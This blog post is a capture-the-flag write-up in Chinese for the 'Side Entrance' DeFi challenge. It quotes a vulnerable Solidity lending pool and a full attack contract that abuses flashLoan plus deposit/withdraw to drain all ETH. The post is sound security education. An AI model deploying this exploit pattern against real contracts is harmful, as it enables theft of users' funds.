iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Security

我也想成爲好駭客系列 第 7

Day 7 - Side Entrance_有同學門沒關好喔

  • 分享至 

  • xImage
  •  

hint

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flashloans using the deposited ETH to promote their system.

Yoy start with 1 ETH in balance. Pass the challenge by rescuing all ETH from the pool and depositing it in the designated recovery account.

Analyze WTF

這一題的合約只有一份,內容很少
題目的要求又是叫我們把底池的東西幹走,但是看過合約以後發現事情並不單純

說實在這題的出題理念看起來跟上一題差不多,上一題是利用了任意調用 function,而這一題看起來是對檢查執行的條件有所規範,但不多

我們可以看看合約內容

contract SideEntranceLenderPool {
    mapping(address => uint256) public balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }

分析完以上的合約內容可以發現,這個合約只有檢查合約使用後的餘額差距,而且沒有嚴格限制所借貸的金額需要在回傳 execute 時還回,所以理論上我們可以偷偷 D 利用 deposit 把錢塞回合約中,這樣不光可以應付 flashLoan 後面的閃電貸餘額檢查,還可以投塞錢到自己的合約裡面,最後就是用 withdraw 把錢轉移到恢復帳號裡面

Solve WTF

按照上面的分析,我們可以整理一下我們需要做的事情

  1. 在自己的合約中借貸底池中的 1000 ETH( 這邊開放乾爹抖內以太幣,拯救貧窮學生
  2. 在回傳 execute 的時候利用 deposit 將 ETH 存入自己的合約中
  3. 通過餘額檢查以後再用 withdraw 捐款潛逃

有了昨天的經驗其實今天的還算好寫

contract Doooooor {

    SideEntranceLenderPool public pool;
    address public recovery;

    constructor(address _pool, address _recovery){  
        pool = SideEntranceLenderPool(_pool);
        recovery = _recovery;
    }

    function attack() external{
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(recovery).transfer(address(this).balance);
    }
    function execute() external payable {
        pool.deposit{value:msg.value}();
    }
    receive() external payable{}
}

調用測試的部分放一下好了

function test_sideEntrance() public checkSolvedByPlayer {
    Doooooor doooooor = new Doooooor(address(pool), recovery);
    doooooor.attack();
}

我決定為了拯救觸及率做個實驗,按照去年的經驗,tag 下貓咪跟廢文後好像觸及都還不錯,今年再試試看 👀

每日梗圖(1/1)
pi


上一篇
Day 6 - Truster_我信你個錘子
下一篇
Day 8 - The Rewarder_這在我們業界是種獎勵
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言